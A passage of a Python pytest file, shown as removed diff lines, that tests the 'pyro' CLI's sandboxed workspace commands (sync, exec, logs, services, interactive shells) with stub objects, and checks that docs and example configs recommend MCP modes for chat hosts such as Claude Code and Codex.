"workspace_id": workspace_id, - "execution_mode": "guest_vsock", - "workspace_sync": { - "mode": "directory", - "source_path": "/tmp/repo", - "destination": "/workspace", - "entry_count": 2, - "bytes_written": 12, - }, - } - - class StubParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="sync", - workspace_sync_command="push", - workspace_id="workspace-123", - source_path="./repo", - dest="/workspace", - json=False, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - output = capsys.readouterr().out - assert "[workspace-sync] workspace_id=workspace-123 mode=directory source=/tmp/repo" in output - assert ( - "destination=/workspace entry_count=2 bytes_written=12 execution_mode=guest_vsock" - ) in output - - -def test_cli_workspace_logs_and_delete_print_human( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def logs_workspace(self, workspace_id: str) -> dict[str, Any]: - assert workspace_id == "workspace-123" - return { - "workspace_id": workspace_id, - "count": 1, - "entries": [ - { - "sequence": 1, - "exit_code": 0, - "duration_ms": 2, - "cwd": "/workspace", - "command": "printf 'ok\\n'", - "stdout": "ok\n", - "stderr": "", - } - ], - } - - def delete_workspace(self, workspace_id: str) -> dict[str, Any]: - assert workspace_id == "workspace-123" - return {"workspace_id": workspace_id, "deleted": True} - - class LogsParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="logs", - workspace_id="workspace-123", - json=False, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: LogsParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - - class DeleteParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="delete", - workspace_id="workspace-123", - json=False, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: DeleteParser()) - cli.main() - - output = capsys.readouterr().out - assert "#1 exit_code=0 duration_ms=2 cwd=/workspace" in output - assert "Deleted workspace: workspace-123" in output - - -def test_cli_workspace_status_and_delete_print_json( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def status_workspace(self, workspace_id: str) -> dict[str, Any]: - assert workspace_id == "workspace-123" - return {"workspace_id": workspace_id, "state": "started"} - - def delete_workspace(self, workspace_id: str) -> dict[str, Any]: - assert workspace_id == "workspace-123" - return {"workspace_id": workspace_id, "deleted": True} - - class StatusParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="status", - workspace_id="workspace-123", - json=True, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: StatusParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - status = json.loads(capsys.readouterr().out) - assert status["state"] == "started" - - class DeleteParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="delete", - workspace_id="workspace-123", - json=True, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: DeleteParser()) - cli.main() - deleted = json.loads(capsys.readouterr().out) - assert deleted["deleted"] is True - - -def test_cli_workspace_status_prints_human( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def status_workspace(self, workspace_id: str) -> dict[str, Any]: - assert workspace_id == "workspace-123" - return { - "workspace_id": workspace_id, - "environment": "debian:12", - "state": "started", - "workspace_path": "/workspace", - "execution_mode": "guest_vsock", - "vcpu_count": 1, - "mem_mib": 1024, - "command_count": 0, - "last_command": None, - "service_count": 1, - "running_service_count": 1, - } - - class StatusParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="status", - workspace_id="workspace-123", - json=False, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: StatusParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - output = capsys.readouterr().out - assert "Workspace ID: workspace-123" in output - assert "Services: 1/1" in output - - -def test_cli_workspace_logs_prints_json( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def logs_workspace(self, workspace_id: str) -> dict[str, Any]: - assert workspace_id == "workspace-123" - return {"workspace_id": workspace_id, "count": 0, "entries": []} - - class LogsParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="logs", - workspace_id="workspace-123", - json=True, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: LogsParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - payload = json.loads(capsys.readouterr().out) - assert payload["count"] == 0 - - -def test_cli_workspace_summary_prints_json( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def summarize_workspace(self, workspace_id: str) -> dict[str, Any]: - assert workspace_id == "workspace-123" - return { - "workspace_id": workspace_id, - "name": "review-eval", - "labels": {"suite": "smoke"}, - "environment": "debian:12", - "state": "started", - "last_activity_at": 2.0, - "session_started_at": 1.0, - "outcome": { - "command_count": 1, - "last_command": {"command": "cat note.txt", "exit_code": 0}, - "service_count": 0, - "running_service_count": 0, - "export_count": 1, - "snapshot_count": 1, - "reset_count": 0, - }, - "commands": {"total": 1, "recent": []}, - "edits": {"recent": []}, - "changes": {"available": True, "changed": False, "summary": None, "entries": []}, - "services": {"current": [], "recent": []}, - "artifacts": {"exports": []}, - "snapshots": {"named_count": 1, "recent": []}, - } - - class SummaryParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="summary", - workspace_id="workspace-123", - json=True, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: SummaryParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - payload = json.loads(capsys.readouterr().out) - assert payload["workspace_id"] == "workspace-123" - assert payload["outcome"]["export_count"] == 1 - - -def test_cli_workspace_summary_prints_human( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def summarize_workspace(self, workspace_id: str) -> dict[str, Any]: - assert workspace_id == "workspace-123" - return { - "workspace_id": workspace_id, - "name": "review-eval", - "labels": {"suite": "smoke", "use_case": "review-eval"}, - "environment": "debian:12", - "state": "started", - "last_activity_at": 3.0, - "session_started_at": 1.0, - "outcome": { - "command_count": 2, - "last_command": {"command": "sh review.sh", "exit_code": 0}, - "service_count": 1, - "running_service_count": 0, - "export_count": 1, - "snapshot_count": 1, - "reset_count": 0, - }, - "commands": { - "total": 2, - "recent": [ - { - "sequence": 2, - "command": "sh review.sh", - "cwd": "/workspace", - "exit_code": 0, - "duration_ms": 12, - "execution_mode": "guest_vsock", - "recorded_at": 3.0, - } - ], - }, - "edits": { - "recent": [ - { - "event_kind": "patch_apply", - "recorded_at": 2.0, - "path": "/workspace/note.txt", - } - ] - }, - "changes": { - "available": True, - "changed": True, - "summary": { - "total": 1, - "added": 0, - "modified": 1, - "deleted": 0, - "type_changed": 0, - "text_patched": 1, - "non_text": 0, - }, - "entries": [ - { - "path": "/workspace/note.txt", - "status": "modified", - "artifact_type": "file", - } - ], - }, - "services": { - "current": [{"service_name": "app", "state": "stopped"}], - "recent": [ - { - "event_kind": "service_stop", - "service_name": "app", - "state": "stopped", - } - ], - }, - "artifacts": { - "exports": [ - { - "workspace_path": "review-report.txt", - "output_path": "/tmp/review-report.txt", - } - ] - }, - "snapshots": { - "named_count": 1, - "recent": [{"event_kind": "snapshot_create", "snapshot_name": "checkpoint"}], - }, - } - - class SummaryParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="summary", - workspace_id="workspace-123", - json=False, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: SummaryParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - output = capsys.readouterr().out - assert "Workspace review: workspace-123" in output - assert "Outcome: commands=2 services=0/1 exports=1 snapshots=1 resets=0" in output - assert "Recent commands:" in output - assert "Recent edits:" in output - assert "Changes: total=1 added=0 modified=1 deleted=0 type_changed=0 non_text=0" in output - assert "Recent exports:" in output - assert "Recent snapshot events:" in output - - -def test_cli_workspace_delete_prints_human( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def delete_workspace(self, workspace_id: str) -> dict[str, Any]: - assert workspace_id == "workspace-123" - return {"workspace_id": workspace_id, "deleted": True} - - class DeleteParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="delete", - workspace_id="workspace-123", - json=False, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: DeleteParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - assert "Deleted workspace: workspace-123" in capsys.readouterr().out - - -def test_cli_workspace_exec_prints_json_and_exits_nonzero( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def exec_workspace( - self, - workspace_id: str, - *, - command: str, - timeout_seconds: int, - secret_env: dict[str, str] | None = None, - ) -> dict[str, Any]: - assert workspace_id == "workspace-123" - assert command == "false" - assert timeout_seconds == 30 - assert secret_env is None - return { - "workspace_id": workspace_id, - "sequence": 1, - "cwd": "/workspace", - "execution_mode": "guest_vsock", - "exit_code": 2, - "duration_ms": 5, - "stdout": "", - "stderr": "boom\n", - } - - class ExecParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="exec", - workspace_id="workspace-123", - timeout_seconds=30, - secret_env=[], - json=True, - command_args=["--", "false"], - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: ExecParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - with pytest.raises(SystemExit, match="2"): - cli.main() - payload = json.loads(capsys.readouterr().out) - assert payload["exit_code"] == 2 - - -def test_cli_workspace_exec_prints_human_error( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def exec_workspace( - self, - workspace_id: str, - *, - command: str, - timeout_seconds: int, - secret_env: dict[str, str] | None = None, - ) -> dict[str, Any]: - del workspace_id, command, timeout_seconds - assert secret_env is None - raise RuntimeError("exec boom") - - class ExecParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="exec", - workspace_id="workspace-123", - timeout_seconds=30, - secret_env=[], - json=False, - command_args=["--", "cat", "note.txt"], - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: ExecParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - with pytest.raises(SystemExit, match="1"): - cli.main() - assert "[error] exec boom" in capsys.readouterr().err - - -def test_cli_workspace_export_and_diff_print_json( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def export_workspace( - self, workspace_id: str, path: str, *, output_path: str - ) -> dict[str, Any]: - assert workspace_id == "workspace-123" - assert path == "note.txt" - assert output_path == "./note.txt" - return { - "workspace_id": workspace_id, - "workspace_path": "/workspace/note.txt", - "output_path": "/tmp/note.txt", - "artifact_type": "file", - "entry_count": 1, - "bytes_written": 6, - "execution_mode": "guest_vsock", - } - - def diff_workspace(self, workspace_id: str) -> dict[str, Any]: - return { - "workspace_id": workspace_id, - "changed": False, - "summary": { - "total": 0, - "added": 0, - "modified": 0, - "deleted": 0, - "type_changed": 0, - "text_patched": 0, - "non_text": 0, - }, - "entries": [], - "patch": "", - } - - class ExportParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="export", - workspace_id="workspace-123", - path="note.txt", - output="./note.txt", - json=True, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: ExportParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - export_payload = json.loads(capsys.readouterr().out) - assert export_payload["artifact_type"] == "file" - - class DiffParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="diff", - workspace_id="workspace-123", - json=True, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: DiffParser()) - cli.main() - diff_payload = json.loads(capsys.readouterr().out) - assert diff_payload["changed"] is False - - -@pytest.mark.parametrize( - ("command_name", "json_mode", "method_name"), - [ - ("list", True, "list_services"), - ("list", False, "list_services"), - ("status", True, "status_service"), - ("status", False, "status_service"), - ("logs", True, "logs_service"), - ("logs", False, "logs_service"), - ("stop", True, "stop_service"), - ("stop", False, "stop_service"), - ], -) -def test_cli_workspace_service_error_paths( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], - command_name: str, - json_mode: bool, - method_name: str, -) -> None: - class StubPyro: - def list_services(self, workspace_id: str) -> dict[str, Any]: - del workspace_id - raise RuntimeError("service branch boom") - - def status_service(self, workspace_id: str, service_name: str) -> dict[str, Any]: - del workspace_id, service_name - raise RuntimeError("service branch boom") - - def logs_service( - self, - workspace_id: str, - service_name: str, - *, - tail_lines: int | None, - all: bool, - ) -> dict[str, Any]: - del workspace_id, service_name, tail_lines, all - raise RuntimeError("service branch boom") - - def stop_service(self, workspace_id: str, service_name: str) -> dict[str, Any]: - del workspace_id, service_name - raise RuntimeError("service branch boom") - - class Parser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="service", - workspace_service_command=command_name, - workspace_id="workspace-123", - service_name="app", - tail_lines=50, - all=False, - json=json_mode, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: Parser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - with pytest.raises(SystemExit, match="1"): - cli.main() - captured = capsys.readouterr() - if json_mode: - payload = json.loads(captured.out) - assert payload["error"] == "service branch boom" - else: - assert "[error] service branch boom" in captured.err - assert hasattr(StubPyro, method_name) - - -def test_cli_workspace_shell_open_and_read_human( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def open_shell( - self, - workspace_id: str, - *, - cwd: str, - cols: int, - rows: int, - secret_env: dict[str, str] | None = None, - ) -> dict[str, Any]: - assert workspace_id == "workspace-123" - assert cwd == "/workspace" - assert cols == 120 - assert rows == 30 - assert secret_env is None - return { - "workspace_id": workspace_id, - "shell_id": "shell-123", - "state": "running", - "cwd": cwd, - "cols": cols, - "rows": rows, - "started_at": 1.0, - "ended_at": None, - "exit_code": None, - "execution_mode": "guest_vsock", - } - - def read_shell( - self, - workspace_id: str, - shell_id: str, - *, - cursor: int, - max_chars: int, - plain: bool = False, - wait_for_idle_ms: int | None = None, - ) -> dict[str, Any]: - assert workspace_id == "workspace-123" - assert shell_id == "shell-123" - assert cursor == 0 - assert max_chars == 1024 - assert plain is True - assert wait_for_idle_ms == 300 - return { - "workspace_id": workspace_id, - "shell_id": shell_id, - "state": "running", - "cwd": "/workspace", - "cols": 120, - "rows": 30, - "started_at": 1.0, - "ended_at": None, - "exit_code": None, - "execution_mode": "guest_vsock", - "cursor": 0, - "next_cursor": 14, - "output": "pyro$ pwd\n", - "truncated": False, - "plain": plain, - "wait_for_idle_ms": wait_for_idle_ms, - } - - class OpenParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="shell", - workspace_shell_command="open", - workspace_id="workspace-123", - cwd="/workspace", - cols=120, - rows=30, - secret_env=[], - json=False, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: OpenParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - - class ReadParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="shell", - workspace_shell_command="read", - workspace_id="workspace-123", - shell_id="shell-123", - cursor=0, - max_chars=1024, - plain=True, - wait_for_idle_ms=300, - json=False, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: ReadParser()) - cli.main() - - captured = capsys.readouterr() - assert "pyro$ pwd\n" in captured.out - assert "[workspace-shell-open] workspace_id=workspace-123 shell_id=shell-123" in captured.err - assert "[workspace-shell-read] workspace_id=workspace-123 shell_id=shell-123" in captured.err - assert "plain=True" in captured.err - assert "wait_for_idle_ms=300" in captured.err - - -def test_cli_workspace_shell_open_prints_id_only( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def open_shell( - self, - workspace_id: str, - *, - cwd: str, - cols: int, - rows: int, - secret_env: dict[str, str] | None = None, - ) -> dict[str, Any]: - assert workspace_id == "workspace-123" - assert cwd == "/workspace" - assert cols == 120 - assert rows == 30 - assert secret_env is None - return { - "workspace_id": workspace_id, - "shell_id": "shell-123", - "state": "running", - "cwd": cwd, - "cols": cols, - "rows": rows, - "started_at": 1.0, - "ended_at": None, - "exit_code": None, - "execution_mode": "guest_vsock", - } - - class StubParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="shell", - workspace_shell_command="open", - workspace_id="workspace-123", - cwd="/workspace", - cols=120, - rows=30, - secret_env=[], - json=False, - id_only=True, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - captured = capsys.readouterr() - assert captured.out == "shell-123\n" - assert captured.err == "" - - -def test_chat_host_docs_and_examples_recommend_modes_first() -> None: - readme = Path("README.md").read_text(encoding="utf-8") - install = Path("docs/install.md").read_text(encoding="utf-8") - first_run = Path("docs/first-run.md").read_text(encoding="utf-8") - integrations = Path("docs/integrations.md").read_text(encoding="utf-8") - mcp_config = Path("examples/mcp_client_config.md").read_text(encoding="utf-8") - claude_code = Path("examples/claude_code_mcp.md").read_text(encoding="utf-8") - codex = Path("examples/codex_mcp.md").read_text(encoding="utf-8") - opencode = json.loads(Path("examples/opencode_mcp_config.json").read_text(encoding="utf-8")) - claude_helper = "pyro host connect claude-code --mode cold-start" - codex_helper = "pyro host connect codex --mode repro-fix" - inspect_helper = "pyro host connect codex --mode inspect" - review_helper = "pyro host connect claude-code --mode review-eval" - opencode_helper = "pyro host print-config opencode --mode repro-fix" - claude_cmd = "claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode cold-start" - codex_cmd = "codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode repro-fix" - - assert "## Chat Host Quickstart" in readme - assert claude_helper in readme - assert codex_helper in readme - assert inspect_helper in readme - assert review_helper in readme - assert opencode_helper in readme - assert "examples/opencode_mcp_config.json" in readme - assert "pyro host doctor" in readme - assert "pyro mcp serve --mode repro-fix" in readme - assert "generic no-mode path" in readme - assert "auto-detects the current Git checkout" in readme.replace("\n", " ") - assert "--project-path /abs/path/to/repo" in readme - assert "--repo-url https://github.com/example/project.git" in readme - - assert "## 6. Connect a chat host" in install - assert claude_helper in install - assert codex_helper in install - assert inspect_helper in install - assert review_helper in install - assert opencode_helper in install - assert "workspace-full" in install - assert "--project-path /abs/path/to/repo" in install - assert "pyro mcp serve --mode cold-start" in install - - assert claude_helper in first_run - assert codex_helper in first_run - assert inspect_helper in first_run - assert review_helper in first_run - assert opencode_helper in first_run - assert "--project-path /abs/path/to/repo" in first_run - assert "pyro mcp serve --mode review-eval" in first_run - - assert claude_helper in integrations - assert codex_helper in integrations - assert inspect_helper in integrations - assert review_helper in integrations - assert opencode_helper in integrations - assert "## Recommended Modes" in integrations - assert "pyro mcp serve --mode inspect" in integrations - assert "auto-detects the current Git checkout" in integrations - assert "examples/claude_code_mcp.md" in integrations - assert "examples/codex_mcp.md" in integrations - assert "examples/opencode_mcp_config.json" in integrations - assert "generic no-mode path" in integrations - assert "--project-path /abs/path/to/repo" in integrations - assert "--repo-url https://github.com/example/project.git" in integrations - - assert "Recommended named modes for most chat hosts in `4.x`:" in mcp_config - assert "Use the host-specific examples first when they apply:" in mcp_config - assert "claude_code_mcp.md" in mcp_config - assert "codex_mcp.md" in mcp_config - assert "opencode_mcp_config.json" in mcp_config - assert '"serve", "--mode", "repro-fix"' in mcp_config - - assert claude_helper in claude_code - assert claude_cmd in claude_code - assert "claude mcp list" in claude_code - assert "pyro host repair claude-code --mode cold-start" in claude_code - assert "workspace-full" in claude_code - assert "--project-path /abs/path/to/repo" in claude_code - - assert codex_helper in codex - assert codex_cmd in codex - assert "codex mcp list" in codex - assert "pyro host repair codex --mode repro-fix" in codex - assert "workspace-full" in codex - assert "--project-path /abs/path/to/repo" in codex - - assert opencode == { - "mcp": { - "pyro": { - "type": "local", - "enabled": True, - "command": [ - "uvx", - "--from", - "pyro-mcp", - "pyro", - "mcp", - "serve", - "--mode", - "repro-fix", - ], - } - } - } - - -def test_content_only_read_docs_are_aligned() -> None: - readme = Path("README.md").read_text(encoding="utf-8") - install = Path("docs/install.md").read_text(encoding="utf-8") - first_run = Path("docs/first-run.md").read_text(encoding="utf-8") - - assert 'workspace file read "$WORKSPACE_ID" note.txt --content-only' in readme - assert 'workspace file read "$WORKSPACE_ID" note.txt --content-only' in install - assert 'workspace file read "$WORKSPACE_ID" note.txt --content-only' in first_run - assert 'workspace patch apply "$WORKSPACE_ID" --patch-file fix.patch' in first_run - - -def test_daily_loop_docs_are_aligned() -> None: - readme = Path("README.md").read_text(encoding="utf-8") - install = Path("docs/install.md").read_text(encoding="utf-8") - first_run = Path("docs/first-run.md").read_text(encoding="utf-8") - integrations = Path("docs/integrations.md").read_text(encoding="utf-8") - - assert "pyro prepare debian:12" in readme - assert "pyro prepare debian:12" in install - assert "pyro prepare debian:12" in first_run - assert "pyro prepare debian:12" in integrations - assert "pyro doctor --environment debian:12" in readme - assert "pyro doctor --environment debian:12" in install - assert "pyro doctor --environment debian:12" in first_run - - -def test_workspace_summary_docs_are_aligned() -> None: - readme = Path("README.md").read_text(encoding="utf-8") - install = Path("docs/install.md").read_text(encoding="utf-8") - first_run = Path("docs/first-run.md").read_text(encoding="utf-8") - - assert 'workspace summary "$WORKSPACE_ID"' in readme - assert 'workspace summary "$WORKSPACE_ID"' in install - assert 'workspace summary "$WORKSPACE_ID"' in first_run - - -def test_cli_workspace_shell_write_signal_close_json( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def write_shell( - self, - workspace_id: str, - shell_id: str, - *, - input: str, - append_newline: bool, - ) -> dict[str, Any]: - assert workspace_id == "workspace-123" - assert shell_id == "shell-123" - assert input == "pwd" - assert append_newline is False - return { - "workspace_id": workspace_id, - "shell_id": shell_id, - "state": "running", - "cwd": "/workspace", - "cols": 120, - "rows": 30, - "started_at": 1.0, - "ended_at": None, - "exit_code": None, - "execution_mode": "guest_vsock", - "input_length": 3, - "append_newline": False, - } - - def signal_shell( - self, - workspace_id: str, - shell_id: str, - *, - signal_name: str, - ) -> dict[str, Any]: - assert signal_name == "INT" - return { - "workspace_id": workspace_id, - "shell_id": shell_id, - "state": "running", - "cwd": "/workspace", - "cols": 120, - "rows": 30, - "started_at": 1.0, - "ended_at": None, - "exit_code": None, - "execution_mode": "guest_vsock", - "signal": signal_name, - } - - def close_shell(self, workspace_id: str, shell_id: str) -> dict[str, Any]: - return { - "workspace_id": workspace_id, - "shell_id": shell_id, - "state": "stopped", - "cwd": "/workspace", - "cols": 120, - "rows": 30, - "started_at": 1.0, - "ended_at": 2.0, - "exit_code": 0, - "execution_mode": "guest_vsock", - "closed": True, - } - - class WriteParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="shell", - workspace_shell_command="write", - workspace_id="workspace-123", - shell_id="shell-123", - input="pwd", - no_newline=True, - json=True, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: WriteParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - written = json.loads(capsys.readouterr().out) - assert written["append_newline"] is False - - class SignalParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="shell", - workspace_shell_command="signal", - workspace_id="workspace-123", - shell_id="shell-123", - signal="INT", - json=True, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: SignalParser()) - cli.main() - signaled = json.loads(capsys.readouterr().out) - assert signaled["signal"] == "INT" - - class CloseParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="shell", - workspace_shell_command="close", - workspace_id="workspace-123", - shell_id="shell-123", - json=True, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: CloseParser()) - cli.main() - closed = json.loads(capsys.readouterr().out) - assert closed["closed"] is True - - -def test_cli_workspace_shell_open_and_read_json( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def open_shell( - self, - workspace_id: str, - *, - cwd: str, - cols: int, - rows: int, - secret_env: dict[str, str] | None = None, - ) -> dict[str, Any]: - assert secret_env is None - return { - "workspace_id": workspace_id, - "shell_id": "shell-123", - "state": "running", - "cwd": cwd, - "cols": cols, - "rows": rows, - "started_at": 1.0, - "ended_at": None, - "exit_code": None, - "execution_mode": "guest_vsock", - } - - def read_shell( - self, - workspace_id: str, - shell_id: str, - *, - cursor: int, - max_chars: int, - plain: bool = False, - wait_for_idle_ms: int | None = None, - ) -> dict[str, Any]: - assert plain is False - assert wait_for_idle_ms is None - return { - "workspace_id": workspace_id, - "shell_id": shell_id, - "state": "running", - "cwd": "/workspace", - "cols": 120, - "rows": 30, - "started_at": 1.0, - "ended_at": None, - "exit_code": None, - "execution_mode": "guest_vsock", - "cursor": cursor, - "next_cursor": max_chars, - "output": "pyro$ pwd\n", - "truncated": False, - "plain": plain, - "wait_for_idle_ms": wait_for_idle_ms, - } - - class OpenParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="shell", - workspace_shell_command="open", - workspace_id="workspace-123", - cwd="/workspace", - cols=120, - rows=30, - secret_env=[], - json=True, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: OpenParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - opened = json.loads(capsys.readouterr().out) - assert opened["shell_id"] == "shell-123" - - class ReadParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="shell", - workspace_shell_command="read", - workspace_id="workspace-123", - shell_id="shell-123", - cursor=0, - max_chars=1024, - plain=False, - wait_for_idle_ms=None, - json=True, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: ReadParser()) - cli.main() - payload = json.loads(capsys.readouterr().out) - assert payload["output"] == "pyro$ pwd\n" - - -def test_cli_workspace_shell_write_signal_close_human( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def write_shell( - self, - workspace_id: str, - shell_id: str, - *, - input: str, - append_newline: bool, - ) -> dict[str, Any]: - del input, append_newline - return { - "workspace_id": workspace_id, - "shell_id": shell_id, - "state": "running", - "cwd": "/workspace", - "cols": 120, - "rows": 30, - "started_at": 1.0, - "ended_at": None, - "exit_code": None, - "execution_mode": "guest_vsock", - "input_length": 3, - "append_newline": True, - } - - def signal_shell( - self, - workspace_id: str, - shell_id: str, - *, - signal_name: str, - ) -> dict[str, Any]: - return { - "workspace_id": workspace_id, - "shell_id": shell_id, - "state": "running", - "cwd": "/workspace", - "cols": 120, - "rows": 30, - "started_at": 1.0, - "ended_at": None, - "exit_code": None, - "execution_mode": "guest_vsock", - "signal": signal_name, - } - - def close_shell(self, workspace_id: str, shell_id: str) -> dict[str, Any]: - return { - "workspace_id": workspace_id, - "shell_id": shell_id, - "state": "stopped", - "cwd": "/workspace", - "cols": 120, - "rows": 30, - "started_at": 1.0, - "ended_at": 2.0, - "exit_code": 0, - "execution_mode": "guest_vsock", - "closed": True, - } - - class WriteParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="shell", - workspace_shell_command="write", - workspace_id="workspace-123", - shell_id="shell-123", - input="pwd", - no_newline=False, - json=False, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: WriteParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - - class SignalParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="shell", - workspace_shell_command="signal", - workspace_id="workspace-123", - shell_id="shell-123", - signal="INT", - json=False, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: SignalParser()) - cli.main() - - class CloseParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="shell", - workspace_shell_command="close", - workspace_id="workspace-123", - shell_id="shell-123", - json=False, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: CloseParser()) - cli.main() - captured = capsys.readouterr() - assert "[workspace-shell-write]" in captured.err - assert "[workspace-shell-signal]" in captured.err - assert "[workspace-shell-close]" in captured.err - - -@pytest.mark.parametrize( - ("shell_command", "kwargs"), - [ - ("open", {"cwd": "/workspace", "cols": 120, "rows": 30}), - ( - "read", - { - "shell_id": "shell-123", - "cursor": 0, - "max_chars": 1024, - "plain": False, - "wait_for_idle_ms": None, - }, - ), - ("write", {"shell_id": "shell-123", "input": "pwd", "no_newline": False}), - ("signal", {"shell_id": "shell-123", "signal": "INT"}), - ("close", {"shell_id": "shell-123"}), - ], -) -def test_cli_workspace_shell_error_paths( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], - shell_command: str, - kwargs: dict[str, Any], -) -> None: - class StubPyro: - def open_shell(self, *args: Any, **inner_kwargs: Any) -> dict[str, Any]: - del args, inner_kwargs - raise RuntimeError("shell boom") - - def read_shell(self, *args: Any, **inner_kwargs: Any) -> dict[str, Any]: - del args, inner_kwargs - raise RuntimeError("shell boom") - - def write_shell(self, *args: Any, **inner_kwargs: Any) -> dict[str, Any]: - del args, inner_kwargs - raise 